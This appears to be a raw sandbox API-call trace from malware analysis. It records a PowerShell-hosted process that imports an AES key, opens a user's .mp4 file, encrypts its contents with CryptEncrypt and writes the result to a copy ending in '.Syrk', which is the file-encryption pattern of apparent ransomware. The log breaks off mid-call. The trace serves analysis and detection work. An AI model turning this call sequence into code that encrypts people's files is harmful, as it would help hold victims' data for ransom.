(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0257.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0257.140] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.140] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0257.140] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0257.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0257.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0257.141] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0257.141] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.141] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0257.141] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.141] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0257.141] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0257.141] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.141] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0257.141] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.141] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0257.142] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0257.142] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.142] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0257.142] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.142] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0257.142] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0257.142] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.142] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0257.142] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.142] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0257.142] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0257.142] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.142] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0257.143] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0257.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0257.143] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.143] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0257.143] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0257.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0257.143] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.143] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0257.143] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0257.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0257.144] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.144] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0257.144] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.144] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0257.144] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0257.144] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0257.144] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0257.144] SystemFunction041 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.145] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0257.145] SystemFunction040 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.145] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0257.145] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0257.145] SystemFunction041 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.145] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0257.145] SystemFunction040 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.145] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0257.145] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0257.145] SystemFunction041 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.145] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0257.145] SystemFunction040 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.146] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0257.146] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0257.146] SystemFunction041 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.146] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0257.146] SystemFunction040 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.146] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0257.146] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0257.146] SystemFunction041 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.146] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0257.146] SystemFunction040 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.146] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0257.146] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0257.146] SystemFunction041 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.147] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0257.147] SystemFunction040 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.147] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0257.147] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0257.147] SystemFunction041 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.147] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0257.147] SystemFunction040 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.147] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0257.147] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0257.147] SystemFunction041 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.147] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0257.147] SystemFunction040 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.148] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0257.148] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0257.148] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0257.148] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0257.148] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0257.148] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0257.148] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0257.148] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0257.149] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0257.149] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0257.149] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0257.149] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0257.149] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0257.149] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0257.149] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0257.149] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0257.149] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0257.149] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0257.149] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0257.149] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0257.150] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0257.150] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0257.150] EtwEventActivityIdControl () returned 0x0 [0257.150] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0257.150] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0257.150] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0257.150] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0257.152] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d188) returned 1 [0257.154] CryptImportKey (in: hProv=0x5c4d188, pbData=0x24382b0*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c994e0) returned 1 [0257.154] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0257.154] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.154] EtwEventActivityIdControl () returned 0x0 [0257.154] EtwEventActivityIdControl () returned 0x0 [0257.154] EtwEventActivityIdControl () returned 0x0 [0257.160] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\txd5xhbvm_grmga.mp4")) returned 0x20 [0257.161] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\txd5xhbvm_grmga.mp4")) returned 0x20 [0257.161] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0257.161] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", lpFilePart=0x0) returned 0x2d [0257.162] EtwEventActivityIdControl () returned 0x0 [0257.162] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.162] EtwEventActivityIdControl () returned 0x0 [0257.162] EtwEventActivityIdControl () returned 0x0 [0257.162] EtwEventActivityIdControl () returned 0x0 [0257.163] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0257.163] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", lpFilePart=0x0) returned 0x2d [0257.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0257.164] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\txd5xhbvm_grmga.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0257.164] GetFileType (hFile=0x364) returned 0x1 [0257.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0257.164] GetFileType (hFile=0x364) returned 0x1 [0257.164] EtwEventActivityIdControl () returned 0x0 [0257.164] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.165] EtwEventActivityIdControl () returned 0x0 [0257.165] EtwEventActivityIdControl () returned 0x0 [0257.165] EtwEventActivityIdControl () returned 0x0 [0257.166] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0257.166] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4.Syrk", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4.Syrk", lpFilePart=0x0) returned 0x32 [0257.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0257.166] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\txd5xhbvm_grmga.mp4.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0257.167] GetFileType (hFile=0x368) returned 0x1 [0257.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0257.167] GetFileType (hFile=0x368) returned 0x1 [0257.167] EtwEventActivityIdControl () returned 0x0 [0257.167] CryptGenRandom (in: hProv=0x5c4d188, dwLen=0x10, pbBuffer=0x2448590 | out: pbBuffer=0x2448590) returned 1 [0257.168] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0257.169] CryptDuplicateKey (in: hKey=0x5c994e0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c995e0) returned 1 [0257.169] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0257.169] CryptSetKeyParam (hKey=0x5c995e0, dwParam=0x4, pbData=0x24498c8*=0x1, dwFlags=0x0) returned 1 [0257.169] CryptSetKeyParam (hKey=0x5c995e0, dwParam=0x1, pbData=0x2449894, dwFlags=0x0) returned 1 [0257.169] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.169] EtwEventActivityIdControl () returned 0x0 [0257.169] EtwEventActivityIdControl () returned 0x0 [0257.169] EtwEventActivityIdControl () returned 0x0 [0257.170] EtwEventActivityIdControl () returned 0x0 [0257.171] ReadFile (in: hFile=0x364, lpBuffer=0x244c504, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x244c504*, lpNumberOfBytesRead=0x5a2e7d8*=0x6466, lpOverlapped=0x0) returned 1 [0257.174] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x246051c*, pdwDataLen=0x5a2e7cc*=0x6460, dwBufLen=0x6460 | out: pbData=0x246051c*, pdwDataLen=0x5a2e7cc*=0x6460) returned 1 [0257.175] WriteFile (in: hFile=0x368, lpBuffer=0x2448678*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2448678*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0257.176] WriteFile (in: hFile=0x368, lpBuffer=0x2461508*, nNumberOfBytesToWrite=0x5474, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2461508*, lpNumberOfBytesWritten=0x5a2e7b0*=0x5474, lpOverlapped=0x0) returned 1 [0257.176] ReadFile (in: hFile=0x364, lpBuffer=0x244c504, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x244c504*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0257.176] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2466988*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2466988*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0257.177] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24669a4*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24669a4*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0257.177] WriteFile (in: hFile=0x368, lpBuffer=0x2448678*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2448678*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0257.177] CloseHandle (hObject=0x368) returned 1 [0257.178] CloseHandle (hObject=0x364) returned 1 [0257.179] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.179] EtwEventActivityIdControl () returned 0x0 [0257.179] EtwEventActivityIdControl () returned 0x0 [0257.179] EtwEventActivityIdControl () returned 0x0 [0257.184] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\txd5xhbvm_grmga.mp4")) returned 0x20 [0257.186] GetFullPathNameW (in: 